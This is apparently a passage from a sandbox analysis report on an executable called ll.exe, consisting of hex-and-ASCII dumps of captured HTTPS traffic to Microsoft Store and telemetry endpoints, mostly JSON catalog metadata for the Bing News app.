Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:30 UTC8436INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
46192.168.2.35002540.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8419OUTGET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170253Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:30 UTC8420INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 6f879072-0c31-40c0-ae82-41d816b3588f
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
47192.168.2.35002640.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8451OUTGET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170257Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:30 UTC8451INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a8e39c7d-a013-4108-b3f8-4982f6f6a8d3
Date: Fri, 08 Apr 2022 08:03:30 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
48192.168.2.35002720.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8452OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: t1Ts41I1nkyKVrtC.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:30 UTC8453INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:30 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: ac521aff-b4cb-423d-807f-ab051d3e9d41
MS-RequestId: e461c70b-5ca0-44e2-a071-65dde1cce5c0
MS-CV: t1Ts41I1nkyKVrtC.0.2.4.422987100.0.1.422987100.4131967894.0
X-Content-Type-Options: nosniff
MS-ServerId: 65db49-ldvlm
Region: neu
Node: aks-systempool-37630073-vmss00003a
MS-DocumentVersions: 9WZDNCRFHVFW|4011
2022-04-08 08:03:30 UTC8453INData Raw: 32 66 64 35 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 31 30 54 32 32 3a 30 39 3a 33 37 2e 35 39 30 37 36 38 31 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 38 31 37 31 39 32 31 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22
Data Ascii: 2fd5f{"BigIds":["9WZDNCRFHVFW"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-10T22:09:37.5907681Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"2000000000081719211","EISListingIdentifier":null,"BackgroundColor":"#262F38"
2022-04-08 08:03:30 UTC8457INData Raw: 38 65 34 2d 30 65 32 32 33 65 64 36 63 35 61 31 2e 64 66 39 63 34 35 65 66 2d 35 61 63 36 2d 34 64 32 66 2d 62 35 32 39 2d 38 64 65 66 65 64 37 30 34 64 31 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 38 31 37 31 38 39 32 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 32 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75
Data Ascii: 8e4-0e223ed6c5a1.df9c45ef-5ac6-4d2f-b529-8defed704d1c","Width":66},{"FileId":"2000000000081718928","EISListingIdentifier":null,"BackgroundColor":"#262F38","Caption":"","FileSizeInBytes":1728,"ForegroundColor":"","Height":88,"ImagePositionInfo":"","ImagePu
2022-04-08 08:03:30 UTC8461INData Raw: 65 49 6e 42 79 74 65 73 22 3a 35 34 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 41 4a 6b 79 42 55 41 30 37 6e 63 46 2b 53 6c 36 76 7a 61 65 5a 74 33 74 41 4a 45 32 2f 35 31 65 66 34 2b 41 58 51 54 45 59 67 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 36 38 2e 39 30 30 37 31 39 39 32 36 36 32 34 37 38 34 36 2e 62 35 63 34 39 39 35 35 2d 65 30 35 30 2d 34 35
Data Ascii: eInBytes":5424,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"AJkyBUA07ncF+Sl6vzaeZt3tAJE2/51ef4+AXQTEYgY=","Uri":"//store-images.s-microsoft.com/image/apps.39168.9007199266247846.b5c49955-e050-45
2022-04-08 08:03:31 UTC8465INData Raw: 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22
Data Ascii: BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","
2022-04-08 08:03:31 UTC8469INData Raw: 48 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 51 41 22 2c 22 52 4f 22 2c 22 52 55 22 2c 22 53 41 22 2c 22 52 53 22 2c 22 53 47 22 2c 22 53 4b 22 2c 22 53 49 22 2c 22 5a 41 22 2c 22 4b 52 22 2c 22 45 53 22 2c 22 53 45 22 2c 22 43 48 22 2c 22 54 57 22 2c 22 54 48 22 2c 22 54 54 22 2c 22 54 4e 22 2c 22 54 52 22 2c 22 55 41 22 2c 22 41 45 22 2c 22 47 42 22 2c 22 56 4e 22 2c 22 59 45 22 2c 22 4c 59 22 2c 22 4c 4b 22 2c 22 55 59 22 2c 22 56 45 22 2c 22 41 46 22 2c 22 41 58 22 2c 22 41 4c 22 2c 22 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 41 51 22 2c 22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43
Data Ascii: H","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","C
2022-04-08 08:03:31 UTC8473INData Raw: 34 2e 33 31 2e 31 32 31 32 34 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 37 35 34 32 37 35 33 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e
Data Ascii: 4.31.12124.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750890000384,\"platform.minVersion\":2814750754275328,\"platform.target\":5}],\"content.
2022-04-08 08:03:31 UTC8477INData Raw: 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c
Data Ascii: 50835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\
2022-04-08 08:03:31 UTC8481INData Raw: 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22
Data Ascii: ia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"
2022-04-08 08:03:31 UTC8485INData Raw: 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 62 37 61 62 36 35 32 2d 63 32 32 37 2d 34 35 39 36 2d 62 61 37 37 2d 34 36 37 62 63 38 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33
Data Ascii: vel\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"eb7ab652-c227-4596-ba77-467bc8dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae3
2022-04-08 08:03:31 UTC8489INData Raw: 64 61 65 33 33 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d
Data Ascii: dae332","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":["arm","x86","x64"]
2022-04-08 08:03:31 UTC8493INData Raw: 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 39 35 35 32 36 34 30 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 37 30 30 37 33 36 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61
Data Ascii: pexNews"}],"Architectures":["arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":95526404,"MaxInstallSizeInBytes":35700736,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","Ma
2022-04-08 08:03:31 UTC8497INData Raw: 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 37 2e 32 32 30 30 32 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 66 38 32 31 33 36 37 38 2d 64 65 37 33 2d 34 38 31 64 2d 66 31 35 33 2d 37 65 32 39 30 63 33 30 34 33 64 37 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 35 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63
Data Ascii: lyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.7.22002.70_neutral_~_8wekyb3d8bbwe","PackageId":"f8213678-de73-481d-f153-7e290c3043d7-X86-X64-Arm","PackageRank":30153,"PlatformDependenc
2022-04-08 08:03:31 UTC8501INData Raw: 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 36 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e
Data Ascii: -Arm","PackageRank":30163,"PlatformDependencies":[{"MaxTested":2814750931222528,"MinVersion":2814750835277824,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.Bin
2022-04-08 08:03:31 UTC8505INData Raw: 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 37 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e
Data Ascii: content.bundledPackages\":[\"Microsoft.BingNews_4.47.22181.70_arm__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22181.70_x64__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22181.70_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.
2022-04-08 08:03:31 UTC8509INData Raw: 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 38 2e 36 30 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31
Data Ascii: ":false,\"content.packageId\":\"Microsoft.BingNews_4.8.6001.0_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750931222528,\"platform.minVersion\":281
2022-04-08 08:03:31 UTC8513INData Raw: 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d
Data Ascii: 14750931222528,\"platform.minVersion\":2814750835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableM
